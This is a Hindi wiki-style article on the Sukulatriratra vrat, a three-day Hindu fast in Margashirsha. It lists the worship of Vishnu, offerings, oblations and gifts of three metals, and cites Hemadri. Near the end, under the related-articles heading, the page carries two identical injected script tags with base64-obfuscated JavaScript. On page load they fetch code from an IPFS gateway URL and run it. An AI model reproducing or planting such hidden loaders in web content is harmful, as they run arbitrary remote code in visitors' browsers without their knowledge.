सुकुलत्रिरात्र व्रत
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 10:27, 21 मार्च 2011 का अवतरण (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- मार्गशीर्ष मास में उस तिथि को जो त्र्यम्बक हो, इसे किया जाता है।
- तीन दिनों तक उपवास करना चाहिए।
- श्वेत, पीत एवं लाल पुष्पों, तीन लेपों तथा गुग्गुल, कुटुक एवं राल की धूप से त्रिविक्रम (विष्णु) की पूजा करनी चाहिए।
- त्रिमधुर का अर्पण करना चाहिए।
- तीन दीप, जौ, तिल एवं सरसों से होम करना चाहिए।
- त्रिलोह (सोना, रजत एवं ताम्र) का दान करना चाहिए।[1]
- धर्मशास्त्र इतिहास 4 में 'त्रिमधुर' एवं 'त्र्यम्बक' में इसका उल्लेख है।
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 322-323, विष्णुधर्मोत्तरपुराण से उद्धरण)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>